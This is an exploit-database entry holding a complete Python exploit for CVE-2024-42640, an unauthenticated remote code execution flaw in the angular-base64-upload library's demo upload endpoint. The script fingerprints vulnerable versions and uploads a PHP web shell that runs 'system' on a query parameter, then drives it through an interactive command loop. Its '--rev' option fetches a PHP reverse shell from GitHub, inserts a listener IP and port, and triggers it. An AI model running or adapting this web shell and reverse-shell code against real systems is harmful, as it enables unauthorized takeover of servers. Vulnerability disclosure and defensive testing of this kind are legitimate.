Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE)

Author: Ravindu Wickramasinghe
type: webapps
platform: multiple
port: 
date_added: 2025-04-17  
date_updated: 2025-04-17  
verified: 0  
codes: CVE-2024-42640  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52253.py  
# Exploit Title: Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE)
# Date: 10 October 2024
# Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9)
# Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9)
# Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload
# Software Link: https://github.com/adonespitogo/angular-base64-upload
# Version: prior to v0.1.21
# Tested on: Arch Linux
# CVE : CVE-2024-42640
# Severity: Critical - 10.0 (CVSS 4.0)
# Github Link : https://github.com/rvizx/CVE-2024-42640
# Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html

import re
import subprocess
import requests
import sys
import os
import uuid
import base64
import cmd
from urllib.parse import urlparse


def banner():
    print('''

                \033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit
                \033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9
                https://github.com/rvizx/\033[0mCVE-2024-42640

''')


def check_version(target):
    response = requests.get(target)
    first_line = response.text.splitlines()[0].strip()
    match = re.search(r'v0\.(1|0)\.(\d+)', first_line)

    if match:
        version = match.group(0)
        x_value = int(match.group(1))
        if x_value <= 20:
            print(f"\033[94m[inf]:\033[0m target is using a vulnerable version. [version]: {version}")
        else:
            print(f"\033[91m[err]:\033[0m target is not vulnerable [version]: {version}")
            exit()
    else:
        print("\033[91m[err]:\033[0m couldn't find the version")


def enum(url):
    print("\033[94m[inf]:\033[0m enumerating... ")
    target = f"{url}/bower_components/angular-base64-upload/dist/angular-base64-upload.min.js"
    r = requests.head(target)
    if r.status_code == 200:
        print("\033[94m[inf]:\033[0m target is using bower_components")
        check_version(target)
    else:
        print("\033[94m[inf]:\033[0m target is not using bower_components")
        target = f"{url}/node_modules/angular-base64-upload/dist/angular-base64-upload.min.js"
        r = requests.head(target)
        if r.status_code == 200:
            print("\033[94m[inf]:\033[0m target is using node_modules")
            check_version(target)
        else:
            print("\033[94m[inf]:\033[0m target is not using node_modules")
            print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for dist/angular-base64-upload.min.js")
            print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")
            print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")
            print("\033[91m[err]:\033[0m exiting..")
            exit()
    exploit(target)


class CmdShell(cmd.Cmd):
    username = subprocess.check_output("whoami", shell=True).strip().decode()
    domain = urlparse(sys.argv[1]).netloc
    prompt = f"{username}@{domain} > "

    def __init__(self, payload_url):
        super().__init__()
        self.payload_url = payload_url

    def default(self, line):
        url = f"{self.payload_url}?cmd={line}"
        try:
            response = requests.get(url)
            print(response.text)
        except requests.RequestException as e:
             print("\033[91m[err]:\033[0m {e}")

    def do_exit(self, arg):
        return True

def exploit(target):
    print(f"[dbg]: {target}")
    target_server_url = target.replace("dist/angular-base64-upload.min.js","demo/server.php")
    print(f"[dbg]: {target_server_url}")
    payload_name = str(uuid.uuid4())+".php"
    if  len(sys.argv) > 2:
        if sys.argv[2] == "--rev":
            revshell = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
            print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")
            ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")
            port = input("\033[93m[ins]:\033[0m enter listenter port: ")
            print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")
            input("\033[93m[ins]:\033[0m press enter to continue...")
            print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")
            response = requests.get(revshell)
            if response.status_code == 200:
                payload = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input
                with open(payload_name, "w") as file:
                    file.write(payload)
                payload_url = upload_to_server(payload_name,target_server_url)
                print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")
                r = requests.get(payload_url)
                if r.status_code == 200:
                    print("\033[94m[inf]:\033[0m process complete!")
                else:
                    print("\033[91m[err]:\033[0m something went wrong!")
                print("\033[93m[ins]:\033[0m please check the listener for incoming connections.")
            else:
                print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")
                print("\033[91m[err]:\033[0m exiting..")
                exit()

    else:
        payload = "<?php if($_GET['cmd']) {system($_GET['cmd']);} ?>"
        with open(payload_name, "w") as file:
            file.write(payload)
        payload_url = upload_to_server(payload_name,target_server_url)
        cmd_shell = CmdShell(payload_url)
        cmd_shell.cmdloop()

def upload_to_server(payload_name,target_server_url):
    try:
        with open(payload_name, 'rb') as file:
            file_content = file.read()
            base64_payload = base64.b64encode(file_content).decode('utf-8')

            headers = {
                'Content-Type': 'application/json',
                }

            json_data = {
                'base64': base64_payload,
                'filename': payload_name,
                }

            response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)
            print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)
            updemo_endpoint = f"uploads/{payload_name}"
            print(f"[dbg]: {updemo_endpoint}")
            payload_url = target_server_url.replace("server.php",updemo_endpoint)
            print(f"[dbg]: {payload_url}")
            if response.status_code == 200:
                print(f"\033[94m[inf]:\033[0m payload is uploaded to {payload_url}")
                return payload_url
            else:
                print("\033[91m[err]:\033[0m something went wrong! failed to upload the payload to server")
                exit()
    except Exception as e:
        print(f"\033[91m[err]:\033[0m {e}")
        exit()

if __name__ == "__main__":
    try:
        banner()
        if  len(sys.argv) > 1:
            url = sys.argv[1]
            print(f"\033[94m[inf]:\033[0m target: {url}")
            enum(url)
        else:
            print("[usg]: ./exploit.py <target-url>")
            print("[usg]: ./exploit.py <target-url> --rev")
            exit()
    except Exception as e:
        print(f"\033[91m[err]:\033[0m {e}")
        exit()